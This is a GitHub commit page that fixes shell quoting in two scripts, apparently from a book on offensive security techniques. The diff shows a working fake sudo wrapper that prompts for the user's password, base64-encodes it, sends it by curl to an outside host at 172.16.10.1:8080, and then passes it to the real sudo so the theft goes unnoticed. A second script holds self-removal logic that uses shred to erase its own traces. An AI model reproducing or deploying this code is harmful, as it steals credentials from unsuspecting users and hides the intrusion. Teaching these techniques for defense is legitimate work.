Skip to content

Commit

Permalink
fix syntax
Browse files Browse the repository at this point in the history
  • Loading branch information
dolevf committed Dec 14, 2023
1 parent 263984a commit 64771af
Show file tree
Hide file tree
Showing 2 changed files with 5 additions and 3 deletions.
6 changes: 4 additions & 2 deletions ch10/fake_sudo.sh
Original file line number Diff line number Diff line change
@@ -1,15 +1,17 @@
#!/bin/bash
# shellcheck disable=SC2124
ARGS="$@"

leak_over_http() {
local encoded_password
encoded_password=$(echo "${1}" | base64 | sed s'/[=+/]//'g)
encoded_password=$(echo "${1}" | base64 | sed 's/[=+/]//g')
curl -m 5 -s -o /dev/null "http://172.16.10.1:8080/${encoded_password}"
}

stty -echo
read -r -p "[sudo] password for $(whoami): " sudopassw

leak_over_http "${sudopassw}"
stty echo
# shellcheck disable=SC2086
echo "${sudopassw}" | /usr/bin/sudo -p "" -S -k ${ARGS}
2 changes: 1 addition & 1 deletion ch12/binary_name_rotation.sh
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@ BIN_FILE="${RANDOM_BIN_NAMES[${RANDOMIZE}]}"
FULL_BIN_PATH="${WORK_DIR}/${BIN_FILE}"

self_removal(){
shred -u -- "$(basename $0)" && rm -f -- "${FULL_BIN_PATH}"
shred -u -- "$(basename "$0")" && rm -f -- "${FULL_BIN_PATH}"
}

if command -v curl 1> /dev/null; then
Expand Down

0 comments on commit 64771af

Please sign in to comment.